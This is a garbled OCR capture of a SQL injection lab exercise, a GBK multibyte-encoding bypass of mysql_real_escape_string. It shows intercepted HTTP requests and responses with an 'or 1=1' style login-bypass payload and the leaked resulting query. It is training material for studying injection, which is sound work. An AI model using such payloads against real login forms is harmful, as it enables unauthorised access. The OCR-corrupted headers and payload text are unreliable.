Challenge 11

http://192.168.2.11/sqli/gbk/

Bypass Authentication and obtain the flag (5 marks)

SQL Injection Labs |

[Level: Advanced]

The username and password fields both have mysql_real_escape_strings() function
validating the input. But the database is configured to use GBK encoding.

Read about this issue here: http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-

escape-string

Note: you can see the SQL query in 302 response.

Convert the hex code (0xbf) into ascii character.

Follow redirection

Cancel =

Go

Request

J Raw T Params I Headers | Hex

Target: http://192.168.2.11 | )

Response

Raw | Headers | Hex

POST /=qli/ghk/checklogin. php HTTE/L.1
Host: 192.1e8.Z2.11

User-Agent: Mozilla/5.0 (Windows NT E.1:
rv:23.0) Gecko/20100101 Firefox/23.0
Acocept:

text/html, application/xhtml+xml, application/xml; q=0
LB, rg=0.8

Accept-Language: =n-US,en;g=0.5

Accept-Encoding: gzip, deflate

BEeferer: http://192.168.2.11/sqli/gbk/error.php
Cookie: PHPSESSID=qlbf4lgl8eSevahrnrdlstresl
Connection: keep-alive

Content-Type: application/x-www-form-urlencodsd
Content-Length: 35

WOWwE4:

myusername=;'or+l=l#imypassvord=aaa

e

HTTF/1.1l 30Z Found

Date: Sat, 14 Sep Z013 15:52:37 GHT
Serwver: Apache/2.2.22 |(Ubuntu)
¥-Poweresd-By: PHP/5.3.10-lubuntui.g8
Expires: Thu, 19 MNowv 1981 08:5Z:00 GMT
Cache-Control: no-store, no-cache,
must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

logation: login succ3sz.php

Vary: Accept-Encoding

Content-Length: E&

Feep-Alive: timeout=5, max=100
Connection: Eeep-Alive

Content-Type: text/html

SELECT * FROM users WHERE username='g\'or 1=14#'
and password='aaa'

By Notsosecure Ltd. in collaboration with SecurityTube Training


http://192.168.2.11/sqli/gbk/
http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string
http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string

SQL Injection Labs |

—
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex [ HTML TRender]
GET /sqli/gbk/login succ3sz.php HTTP/L.1 A F
Host: 192.168.2.11 P s |
User-Agent: Mczilla/5.0 (Windows NT €.1; WOWE4: w
rv:23.0) Geckc/201l0010Ll Firefox/23.0
Accept: « Home
text/html, application/xhtml+xml, application/xml; =0 * Services
-9, %/ *;q=0.8 ) B o Franchisee
Accept—Langucfnge. en—.US,en,q—D.s - —Careers
Accept-Encoding: gzip, deflate ﬁU
Referer: http://192.168.2.11/sqli/gbk/error.php 8, SOMmACh LS,
Cookie: PHPSESSID=¢lbf4l¢lB8€9€évahrnr4lstrées2
Connection: keep-alive (bwe-naw) aa.
Spanish for: FEverything tip tep and ok!
d i d I '
id it!
This is just a success notification message.
-
¥

Further reading:

http://epadillas.wordpress.com/2012/12/29/multibyte-sqgl-injection-mysql-and-php-case-study/
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